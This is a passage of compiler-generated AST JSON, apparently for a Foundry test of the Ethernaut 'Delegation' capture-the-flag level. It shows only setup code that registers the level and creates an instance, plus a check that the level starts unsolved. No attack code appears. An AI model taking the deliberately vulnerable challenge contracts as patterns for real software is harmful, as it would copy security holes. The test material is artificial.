unitAlias":""},{"id":59338,"nodeType":"ImportDirective","src":"253:48:123","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"src/levels/base/Level.sol","nameLocation":"-1:-1:-1","scope":59515,"sourceUnit":55509,"symbolAliases":[{"foreign":{"id":59337,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"261:5:123","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":59340,"nodeType":"ImportDirective","src":"302:44:123","nodes":[],"absolutePath":"src/Ethernaut.sol","file":"src/Ethernaut.sol","nameLocation":"-1:-1:-1","scope":59515,"sourceUnit":49102,"symbolAliases":[{"foreign":{"id":59339,"name":"Ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49101,"src":"310:9:123","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":59514,"nodeType":"ContractDefinition","src":"348:1634:123","nodes":[{"id":59347,"nodeType":"VariableDeclaration","src":"393:19:123","nodes":[],"constant":false,"mutability":"mutable","name":"ethernaut","nameLocation":"403:9:123","scope":59514,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},"typeName":{"id":59346,"nodeType":"UserDefinedTypeName","pathNode":{"id":59345,"name":"Ethernaut","nameLocations":["393:9:123"],"nodeType":"IdentifierPath","referencedDeclaration":49101,"src":"393:9:123"},"referencedDeclaration":49101,"src":"393:9:123","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"visibility":"internal"},{"id":59350,"nodeType":"VariableDeclaration","src":"418:19:123","nodes":[],"constant":false,"mutability":"mutable","name":"instance","nameLocation":"429:8:123","scope":59514,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Delegation_$50294","typeString":"contract Delegation"},"typeName":{"id":59349,"nodeType":"UserDefinedTypeName","pathNode":{"id":59348,"name":"Delegation","nameLocations":["418:10:123"],"nodeType":"IdentifierPath","referencedDeclaration":50294,"src":"418:10:123"},"referencedDeclaration":50294,"src":"418:10:123","typeDescriptions":{"typeIdentifier":"t_contract$_Delegation_$50294","typeString":"contract Delegation"}},"visibility":"internal"},{"id":59352,"nodeType":"VariableDeclaration","src":"444:21:123","nodes":[],"constant":false,"mutability":"mutable","name":"owner","nameLocation":"460:5:123","scope":59514,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":59351,"name":"address","nodeType":"ElementaryTypeName","src":"444:15:123","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":59354,"nodeType":"VariableDeclaration","src":"471:22:123","nodes":[],"constant":false,"mutability":"mutable","name":"player","nameLocation":"487:6:123","scope":59514,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":59353,"name":"address","nodeType":"ElementaryTypeName","src":"471:15:123","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":59453,"nodeType":"FunctionDefinition","src":"680:589:123","nodes":[],"body":{"id":59452,"nodeType":"Block","src":"704:565:123","nodes":[],"statements":[{"assignments":[59359],"declarations":[{"constant":false,"id":59359,"mutability":"mutable","name":"users","nameLocation":"739:5:123","nodeType":"VariableDeclaration","scope":59452,"src":"714:30:123","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[]"},"typeName":{"baseType":{"id":59357,"name":"address","nodeType":"ElementaryTypeName","src":"714:15:123","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":59358,"nodeType":"ArrayTypeName","src":"714:17:123","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_storage_ptr","typeString":"address payable[]"}},"visibility":"internal"}],"id":59363,"initialValue":{"arguments":[{"hexValue":"32","id":59361,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"759:1:123","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"}],"id":59360,"name":"createUsers","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66448,"src":"747:11:123","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_uint256_$returns$_t_array$_t_address_payable_$dyn_memory_ptr_$","typeString":"function (uint256) returns (address payable[] memory)"}},"id":59362,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"747:14:123","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"nodeType":"VariableDeclarationStatement","src":"714:47:123"},{"expression":{"id":59368,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":59364,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59352,"src":"772:5:123","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":59365,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59359,"src":"780:5:123","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":59367,"indexExpression":{"hexValue":"30","id":59366,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"786:1:123","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"780:8:123","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"772:16:123","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":59369,"nodeType":"ExpressionStatement","src":"772:16:123"},{"expression":{"arguments":[{"id":59373,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59352,"src":"807:5:123","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4f776e6572","id":59374,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"814:7:123","typeDescriptions":{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""},"value":"Owner"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""}],"expression":{"id":59370,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"798:2:123","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":59372,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"801:5:123","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"798:8:123","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":59375,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"798:24:123","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59376,"nodeType":"ExpressionStatement","src":"798:24:123"},{"expression":{"id":59381,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":59377,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59354,"src":"833:6:123","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":59378,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59359,"src":"842:5:123","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":59380,"indexExpression":{"hexValue":"31","id":59379,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"848:1:123","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"842:8:123","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"833:17:123","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":59382,"nodeType":"ExpressionStatement","src":"833:17:123"},{"expression":{"arguments":[{"id":59386,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59354,"src":"869:6:123","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"506c61796572","id":59387,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"877:8:123","typeDescriptions":{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""},"value":"Player"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""}],"expression":{"id":59383,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"860:2:123","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":59385,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"863:5:123","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"860:8:123","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":59388,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"860:26:123","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59389,"nodeType":"ExpressionStatement","src":"860:26:123"},{"expression":{"arguments":[{"id":59393,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59352,"src":"911:5:123","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":59390,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"897:2:123","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":59392,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"900:10:123","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"897:13:123","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":59394,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"897:20:123","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59395,"nodeType":"ExpressionStatement","src":"897:20:123"},{"expression":{"id":59400,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":59396,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59347,"src":"927:9:123","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":59398,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59352,"src":"966:5:123","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":59397,"name":"getEthernautWithStatsProxy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66624,"src":"939:26:123","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$_t_contract$_Ethernaut_$49101_$","typeString":"function (address) returns (contract Ethernaut)"}},"id":59399,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"939:33:123","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"src":"927:45:123","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":59401,"nodeType":"ExpressionStatement","src":"927:45:123"},{"assignments":[59404],"declarations":[{"constant":false,"id":59404,"mutability":"mutable","name":"factory","nameLocation":"1000:7:123","nodeType":"VariableDeclaration","scope":59452,"src":"982:25:123","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_DelegationFactory_$50375","typeString":"contract DelegationFactory"},"typeName":{"id":59403,"nodeType":"UserDefinedTypeName","pathNode":{"id":59402,"name":"DelegationFactory","nameLocations":["982:17:123"],"nodeType":"IdentifierPath","referencedDeclaration":50375,"src":"982:17:123"},"referencedDeclaration":50375,"src":"982:17:123","typeDescriptions":{"typeIdentifier":"t_contract$_DelegationFactory_$50375","typeString":"contract DelegationFactory"}},"visibility":"internal"}],"id":59409,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":59407,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"1010:21:123","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_DelegationFactory_$50375_$","typeString":"function () returns (contract DelegationFactory)"},"typeName":{"id":59406,"nodeType":"UserDefinedTypeName","pathNode":{"id":59405,"name":"DelegationFactory","nameLocations":["1014:17:123"],"nodeType":"IdentifierPath","referencedDeclaration":50375,"src":"1014:17:123"},"referencedDeclaration":50375,"src":"1014:17:123","typeDescriptions":{"typeIdentifier":"t_contract$_DelegationFactory_$50375","typeString":"contract DelegationFactory"}}},"id":59408,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1010:23:123","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_DelegationFactory_$50375","typeString":"contract DelegationFactory"}},"nodeType":"VariableDeclarationStatement","src":"982:51:123"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"id":59416,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59404,"src":"1081:7:123","typeDescriptions":{"typeIdentifier":"t_contract$_DelegationFactory_$50375","typeString":"contract DelegationFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DelegationFactory_$50375","typeString":"contract DelegationFactory"}],"id":59415,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1073:7:123","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59414,"name":"address","nodeType":"ElementaryTypeName","src":"1073:7:123","typeDescriptions":{}}},"id":59417,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1073:16:123","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":59413,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1067:5:123","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":59418,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1067:23:123","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"expression":{"id":59410,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59347,"src":"1043:9:123","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":59412,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1053:13:123","memberName":"registerLevel","nodeType":"MemberAccess","referencedDeclaration":48913,"src":"1043:23:123","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_Level_$55508_$returns$__$","typeString":"function (contract Level) external"}},"id":59419,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1043:48:123","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59420,"nodeType":"ExpressionStatement","src":"1043:48:123"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":59421,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1101:2:123","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":59423,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1104:9:123","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1101:12:123","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":59424,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1101:14:123","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59425,"nodeType":"ExpressionStatement","src":"1101:14:123"},{"expression":{"arguments":[{"id":59429,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59354,"src":"1140:6:123","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":59426,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1126:2:123","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":59428,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1129:10:123","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1126:13:123","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":59430,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1126:21:123","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59431,"nodeType":"ExpressionStatement","src":"1126:21:123"},{"expression":{"id":59445,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":59432,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59350,"src":"1157:8:123","typeDescriptions":{"typeIdentifier":"t_contract$_Delegation_$50294","typeString":"contract Delegation"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"id":59435,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59347,"src":"1199:9:123","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"arguments":[{"id":59439,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59404,"src":"1224:7:123","typeDescriptions":{"typeIdentifier":"t_contract$_DelegationFactory_$50375","typeString":"contract DelegationFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DelegationFactory_$50375","typeString":"contract DelegationFactory"}],"id":59438,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1216:7:123","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59437,"name":"address","nodeType":"ElementaryTypeName","src":"1216:7:123","typeDescriptions":{}}},"id":59440,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1216:16:123","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":59436,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1210:5:123","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":59441,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1210:23:123","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}},{"hexValue":"30","id":59442,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1235:1:123","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"},{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":59434,"name":"createLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66525,"src":"1179:19:123","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_contract$_Level_$55508_$_t_uint256_$returns$_t_address_$","typeString":"function (contract Ethernaut,contract Level,uint256) returns (address)"}},"id":59443,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1179:58:123","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":59433,"name":"Delegation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50294,"src":"1168:10:123","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Delegation_$50294_$","typeString":"type(contract Delegation)"}},"id":59444,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1168:70:123","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Delegation_$50294","typeString":"contract Delegation"}},"src":"1157:81:123","typeDescriptions":{"typeIdentifier":"t_contract$_Delegation_$50294","typeString":"contract Delegation"}},"id":59446,"nodeType":"ExpressionStatement","src":"1157:81:123"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":59447,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1248:2:123","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":59449,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1251:9:123","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1248:12:123","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":59450,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1248:14:123","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59451,"nodeType":"ExpressionStatement","src":"1248:14:123"}]},"functionSelector":"0a9254e4","implemented":true,"kind":"function","modifiers":[],"name":"setUp","nameLocation":"689:5:123","parameters":{"id":59355,"nodeType":"ParameterList","parameters":[],"src":"694:2:123"},"returnParameters":{"id":59356,"nodeType":"ParameterList","parameters":[],"src":"704:0:123"},"scope":59514,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":59474,"nodeType":"FunctionDefinition","src":"1521:132:123","nodes":[],"body":{"id":59473,"nodeType":"Block","src":"1548:105:123","nodes":[],"statements":[{"expression":{"arguments":[{"id":59460,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59354,"src":"1567:6:123","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":59457,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1558:2:123","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":59459,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1561:5:123","memberName":"prank","nodeType":"MemberAccess","referencedDeclaration":15326,"src":"1558:8:123","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":59461,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1558:16:123","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59462,"nodeType":"ExpressionStatement","src":"1558:16:123"},{"expression":{"arguments":[{"arguments":[{"id":59465,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59347,"src":"1616:9:123","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":59468,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59350,"src":"1635:8:123","typeDescriptions":{"typeIdentifier":"t_contract$_Delegation_$50294","typeString":"contract Delegation"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Delegation_$50294","typeString":"contract Delegation"}],"id":59467,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1627:7:123","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59466,"name":"address","nodeType":"ElementaryTypeName","src":"1627:7:123","typeDescriptions":{}}},"id":59469,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1627:17:123","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":59464,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"1596:19:123","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":59470,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1596:49:123","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":59463,"name":"assertFalse","nodeType":"Identifier","overloadedDeclarations":[314,329],"referencedDeclaration":314,"src":"1584:11:123","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":59471,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1584:62:123","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59472,"nodeType":"ExpressionStatement","src":"1584:62:123"}]},"documentation":{"id":59454,"nodeType":"StructuredDocumentation","src":"1453:63:123","text":"@notice Check the intial state of the level and 